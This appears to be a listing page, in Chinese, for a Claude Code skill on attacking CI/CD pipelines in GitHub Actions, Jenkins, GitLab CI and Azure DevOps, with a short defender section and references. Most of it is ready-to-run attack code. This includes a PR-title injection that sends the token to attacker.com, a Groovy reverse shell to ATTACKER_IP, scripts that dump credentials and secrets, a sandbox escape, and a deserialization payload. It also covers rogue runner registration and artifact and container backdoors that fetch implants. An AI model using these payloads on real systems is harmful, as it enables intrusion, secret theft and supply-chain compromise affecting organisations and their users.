关于 offensive-cicd-pipeline
面向授权安全测试人员的 CI/CD 攻击技能指南,涵盖 GitHub Actions、Jenkins、GitLab CI 和 Azure DevOps。内容从配置枚举与注入分析延伸到凭据利用、横向移动及防御监测。
主要功能
- 01枚举流水线配置与触发条件
- 02分析表达式和脚本注入点
- 03覆盖四类 CI/CD 平台攻击面
- 04利用流水线信任关系横向移动
- 05列出防御监测线索
适用场景
- 01审查流水线配置中的注入风险
- 02评估令牌与机密的暴露范围
- 03测试构建产物投毒风险
- 04制定 CI/CD 攻击检测措施
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-cicd-pipeline安装后在 Claude Code 中输入/offensive-cicd-pipeline确认已加载。
详细介绍
Offensive CI/CD Pipeline Exploitation
CI/CD 流水线是现代基础设施中价值最高的攻击目标之一。控制流水线后,你可以在受信任的上下文中执行代码、访问部署凭据,并将恶意代码注入生产制品。你利用组织对构建系统的隐式信任——流水线以较高权限运行代码,持有部署密钥,而且与生产系统相比,受到的监控较少。
本技能涵盖对四大主流 CI/CD 平台的利用。你可以枚举流水线配置、识别注入点、将贡献者级访问权限提升为任意代码执行权限,并利用流水线的信任关系在环境间横向移动。
MITRE ATT&CK:T1195.002(供应链攻击:破坏软件供应链)
快速工作流
- 枚举可访问的代码仓库及其流水线配置(.github/workflows/、Jenkinsfile、.gitlab-ci.yml、azure-pipelines.yml)。
- 识别触发模型——哪些事件会执行流水线,以及哪些上下文包含攻击者可控的输入。
- 梳理每种流水线上下文中的令牌权限范围和可用密钥。
- 根据你的访问级别(贡献者、外部 PR、已认证用户)选择注入方式。
- 针对目标平台的表达式语言或脚本引擎构造有效载荷。
- 执行并捕获输出——密钥、令牌或被篡改的制品。
- 利用捕获的凭据横向移动,以扩大对其他流水线、注册表或基础设施的访问权限。
GitHub Actions 表达式注入
GitHub Actions 会在 ${{ }} 上下文中求值表达式。当攻击者可控的数据未经清理便流入这些表达式时,你就能在运行器上下文中实现任意命令注入。
最常见的注入面包括 PR 标题、议题正文、分支名称和提交消息,这些内容会流入 run: 步骤或操作输入。
搜索事件数据的直接插值,识别存在漏洞的工作流:
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
存在漏洞的工作流如下所示:
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for PR: ${{ github.event.pull_request.title }}"
通过 PR 标题注入:
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
滥用 workflow_run 时,由 workflow_run 触发的工作流会在默认分支的上下文中运行,但可以访问触发工作流的制品。你可以从 PR 工作流上传被投毒的制品,再由权限更高的 workflow_run 工作流进行处理:
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
with:
name: pr-data
path: payload.sh
# The workflow_run handler in the default branch processes artifacts unsafely
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
- run: bash pr-data/payload.sh # Executes attacker's code with write access
枚举 GITHUB_TOKEN 权限,了解你的执行范围:
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
复合操作供应链攻击的目标是引用时未固定 SHA 的可重用操作:
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1
# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
使用 gato 枚举并利用 GitHub Actions 配置错误:
# Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org
# Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg
Jenkins 利用
Jenkins 通过脚本控制台、构建配置、共享库和 Java 远程通信协议提供了广泛的攻击面。当你发现 Jenkins 暴露在网络上,或获得任何级别的已认证访问权限时,就可以对其发起攻击。
Groovy 脚本控制台 RCE
如果你能够访问脚本控制台(需要 Overall/RunScripts 权限),就可以在 Jenkins 控制器上不受限制地执行代码:
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text
// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()
// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
def creds = CredentialsProvider.lookupCredentials(
StandardUsernamePasswordCredentials.class,
Jenkins.instance, null, null
)
creds.each { c ->
println("ID: ${c.id}")
println("Username: ${c.username}")
println("Password: ${c.password.plainText}")
println("---")
}
Groovy 沙箱逃逸
流水线脚本会在 Groovy 沙箱中运行,但你可以通过元编程和反射绕过沙箱:
// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils
// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
static void main(String[] args) {}
static Object run() {
def proc = "id".execute()
return proc.text
}
}
Evil.run()
''')
println bypass
Jenkins 远程通信反序列化
当 Jenkins 远程通信端口(通常为 50000)暴露时,你可以利用 Java 反序列化漏洞:
# Identify Jenkins remoting port
nmap -sV -p 50000 TARGET_IP
# Use ysoserial to generate deserialization payloads
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin
# Deliver via the JNLP protocol
python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
共享库注入
通过 @Library 加载的 Jenkins 共享库是一种供应链攻击途径。如果你控制了库的代码仓库,所有使用该库的流水线都会执行你的代码:
// Malicious shared library vars/deploy.groovy
def call(Map config) {
// Original functionality preserved to avoid detection
sh "kubectl apply -f ${config.manifest}"
// Injected exfiltration
sh '''
env | base64 | curl -X POST -d @- https://attacker.com/collect
'''
}
使用 jenkins-attack-framework 系统化地发起攻击:
# Enumerate Jenkins instance
python3 jaf.py --url https://jenkins.target.com --enumerate
# Dump all credentials with valid session
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds
# Execute command via available build nodes
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" \
--exec "whoami" --node "linux-build-01"
GitLab CI 利用
GitLab CI 流水线基于 .gitlab-ci.yml 执行,并支持可能带来利用机会的强大功能。攻击者会针对变量注入、运行器滥用,以及合并请求与受保护分支之间的信任边界漏洞。
通过合并请求进行 YAML 注入
如果项目允许来自 fork 的合并请求流水线,攻击者的 .gitlab-ci.yml
就会在目标的运行器上执行:
# Attacker's .gitlab-ci.yml in a fork
stages:
- exploit
dump_secrets:
stage: exploit
script:
- env | sort
- cat /etc/hosts
- curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool
- |
# Attempt to read secrets from runner filesystem
find / -name "*.env" -o -name "credentials" -o -name "*.key" 2>/dev/null | head -20
cat ~/.docker/config.json 2>/dev/null || true
滥用运行器注册令牌
如果你获取了运行器注册令牌,就可以注册恶意运行器来拦截任务:
# Register a malicious runner with broad tag matching
gitlab-runner register \
--non-interactive \
--url "https://gitlab.target.com/" \
--registration-token "GR1348941_STOLEN_TOKEN" \
--executor "shell" \
--description "build-node-07" \
--tag-list "docker,linux,build,deploy" \
--run-untagged="true"
# The rogue runner now receives jobs and can:
# 1. Capture all environment variables including secrets
# 2. Modify build artifacts before they are published
# 3. Inject code into deployment payloads
提取 CI 变量
使用被攻陷的令牌,通过 API 枚举并提取 CI/CD 变量:
# List project-level variables
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'
# List group-level variables (inherited by all projects)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'
# Instance-level variables (requires admin)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
绕过受保护分支
利用合并请求流水线与分支流水线之间的漏洞,在受保护的上下文中运行代码:
# Create a merge request that modifies .gitlab-ci.yml
# The MR pipeline runs with the source branch's CI config
# but in the context of the target project's runners and variables
# If the project has "Run pipelines for merge requests from forked projects" enabled,
# your fork's .gitlab-ci.yml executes on their infrastructure
git checkout -b exploit-branch
cat > .gitlab-ci.yml << 'EOF'
protected_job:
script:
- echo "$DEPLOY_KEY" | base64
- echo "$AWS_SECRET_ACCESS_KEY" | base64
only:
- merge_requests
EOF
git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch
Azure DevOps 流水线利用
Azure DevOps 流水线使用 YAML 或经典编辑器定义。攻击者会针对流水线代理被攻陷、服务连接滥用和变量组提取。
滥用流水线代理
自托管代理会在多次构建之间保留状态。你可以利用这种持久性:
# azure-pipelines.yml payload targeting self-hosted agent
trigger: none
pr: none
pool:
name: 'Self-Hosted-Pool'
steps:
- script: |
# Enumerate the agent environment
whoami
hostname
env | sort
# Search for cached credentials on the agent
find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null
cat /home/*/.kube/config 2>/dev/null
cat /home/*/.aws/credentials 2>/dev/null
# Check for Docker credentials
cat /home/*/.docker/config.json 2>/dev/null
# Look for other pipeline artifacts left behind
ls -la /agent/_work/
find /agent/_work/ -name "*.env" -o -name "*.key" -o -name "*.pem" 2>/dev/null
displayName: 'Agent Recon'
窃取服务连接
Azure DevOps 中的服务连接会存储外部系统的凭据。你可以通过流水线执行来提取这些凭据:
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'Production-Azure-Connection'
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# The task injects credentials as environment variables
echo "Tenant: $tenantId"
echo "Client: $servicePrincipalId"
# Extract the service principal token
az account get-access-token --output json
# Use the managed identity to enumerate Azure resources
az resource list --output table
az keyvault list --output table
az keyvault secret list --vault-name TARGET_VAULT --output table
提取变量组
# Use the Azure DevOps REST API with a compromised PAT
PAT="STOLEN_PAT_HERE"
ORG="target-org"
PROJECT="target-project"
# List variable groups
curl -sS -u ":$PAT" \
"https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" \
| jq '.value[] | {name, variables}'
# List service connections
curl -sS -u ":$PAT" \
"https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" \
| jq '.value[] | {name, type, authorization}'
制品投毒
制品投毒针对构建阶段与部署阶段之间的交接环节。你可以修改构建输出,将恶意代码注入部署包。
# GitHub Actions: Intercept artifact upload
# In a compromised build step, modify artifacts before upload
echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh
# GitLab CI: Poison the artifact cache
# Shared caches between pipelines allow cross-job poisoning
cat > .gitlab-ci.yml << 'EOF'
poison_cache:
script:
- echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js
cache:
key: shared-build-cache
paths:
- node_modules/
policy: push
EOF
# Jenkins: Modify stashed files between stages
# If you control a build node, modify files after stash
# The unstash on a different node receives your modified files
注册表流水线中的容器镜像投毒:
# Inject a backdoor layer into a build pipeline's Dockerfile
FROM base-image:latest
# Legitimate build steps
COPY . /app
RUN npm install && npm run build
# Injected persistence
RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc
ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]
检测 / 防御者视角
防御者应在 CI/CD 平台中监控以下指标:
- 工作流修改:对来自外部贡献者或 fork 的拉取请求中
.github/workflows/、Jenkinsfile、.gitlab-ci.yml或azure-pipelines.yml的变更发出警报。 - 异常的运行器注册:监控新注册的运行器,尤其是标签匹配范围广或来自非预期 IP 地址范围的运行器。
- 机密访问模式:监控 CI 任务是否访问了以往从未使用过的机密,或机密是否在由 PR 触发的流水线中被访问。
- 表达式注入特征:监控 PR 标题或议题正文中是否包含 shell 元字符(
$()、反引号、分号、管道运算符),且这些字符是否紧邻工作流触发事件。 - 制品完整性:在流水线的不同阶段之间验证构建制品的哈希值;意外变更可能表明发生了投毒。
- 令牌范围异常:监控 GITHUB_TOKEN 或 CI_JOB_TOKEN 是否调用了流水线预期范围之外的 API(例如访问其他仓库、修改分支保护规则)。
- Jenkins 审计日志:监控脚本控制台访问、通过 API 枚举凭据,以及来自未授权来源的新节点注册。
- 构建时长异常:受攻陷的构建通常耗时更长,因为其中包含数据外传步骤或额外的网络调用。
- 运行器的出站网络流量:监控构建代理是否连接到非预期的外部主机,尤其是是否通过 DNS 或 HTTPS 向非注册表域名外传数据。
关键防御措施:
- 将所有 GitHub Actions 固定到完整的提交 SHA,而非标签。
- 限制
pull_request_target的使用,绝不要在该上下文中检出 PR 代码。 - 使用每个任务结束后即销毁的一次性运行器。
- 使用 OIDC 进行云身份验证,而不是存储长期有效的凭据。
- 启用分支保护规则,要求审核工作流文件的变更。
- 按信任级别划分运行器池——绝不要在公共仓库和私有仓库之间共用运行器。
攻防速查表
| 平台 | 攻击途径 | 所需访问权限 | 影响 |
|---|---|---|---|
| GitHub Actions | 表达式注入 | Fork/PR(无) | Runner RCE |
| GitHub Actions | workflow_run 工件投毒 | Fork/PR(无) | 默认分支 RCE |
| GitHub Actions | 复合操作供应链攻击 | 操作仓库写入权限 | 所有使用者 RCE |
| Jenkins | 脚本控制台 | RunScripts 权限 | 控制器 RCE |
| Jenkins | Groovy 沙箱逃逸 | 构建配置权限 | 控制器 RCE |
| Jenkins | Remoting 反序列化 | 网络访问权限(50000) | 控制器 RCE |
| Jenkins | 共享库注入 | 库仓库写入权限 | 所有使用者 RCE |
| GitLab CI | MR 流水线 YAML 注入 | Fork(无) | Runner RCE |
| GitLab CI | Runner 令牌注册 | 令牌泄露 | 作业拦截 |
| GitLab CI | 变量提取 | API 令牌 | 窃取机密 |
| Azure DevOps | Agent 持久化 | 流水线编辑权限 | Agent RCE |
| Azure DevOps | 服务连接窃取 | 流水线编辑权限 | 云访问 |
| 所有平台 | 工件投毒 | 构建步骤失陷 | 供应链攻击 |
关键参考资料
- OWASP CI/CD 安全风险十大项:https://owasp.org/www-project-top-10-ci-cd-security-risks/
- Cider Security(现属 Palo Alto)CI/CD Goat:https://github.com/cider-security-research/cicd-goat
- gato - GitHub Actions 枚举与攻击工具:https://github.com/praetorian-inc/gato
- jenkins-attack-framework:https://github.com/Accenture/jenkins-attack-framework
- 滥用 GitHub Actions(Synacktiv):https://www.synacktiv.com/en/publications
- MITRE ATT&CK T1195.002:https://attack.mitre.org/techniques/T1195/002/
- GitHub Actions 安全加固:https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
- 攻击与防御 CI/CD 流水线(NCC Group):https://research.nccgroup.com
- GitLab CI/CD 安全:https://docs.gitlab.com/ee/ci/security/
- Azure DevOps 流水线安全:https://learn.microsoft.com/en-us/azure/devops/pipelines/security/